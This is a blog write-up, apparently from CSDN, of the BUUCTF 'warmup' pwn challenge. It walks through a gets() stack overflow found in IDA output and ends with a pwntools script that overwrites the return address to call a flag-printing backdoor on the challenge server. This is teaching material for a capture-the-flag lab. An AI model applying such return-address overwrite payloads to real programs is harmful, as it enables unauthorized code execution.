BUUCTF Pwn warmup

1.题目下载地址

点击下载题目

2.checksec检查保护

在这里插入图片描述

  • 啥都没开,果然是warmup

3.IDA静态分析

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}
  • 后门函数
int sub_40060D()
{
  return system("cat flag.txt");
}
  • gets()函数很明显会有栈溢出漏洞,然后发现有后门函数,也就是sub_40060D函数,而且会发现你执行此程序的时候可以直接输出后门函数的地址,就不需要再找他的地址了
sprintf(&s, "%p\n", sub_40060D)
  • 这个函数的意思就是将sub_40060D的地址放在s缓冲区中输出地址,所以执行的时候就可以直接看到后门函数地址。
  • 所以现在的漏洞利用思路就是将v5缓冲区覆盖,然后覆盖返回地址为后门函数地址

在这里插入图片描述

  • v5的大小是0x40
  • 因为是64位程序,再加8byte覆盖rbp

4.exp

from pwn import*
sh=remote('node3.buuoj.cn',26548)
payload='a'*0x48+p64(0x40060D)
sh.sendline(payload)
sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值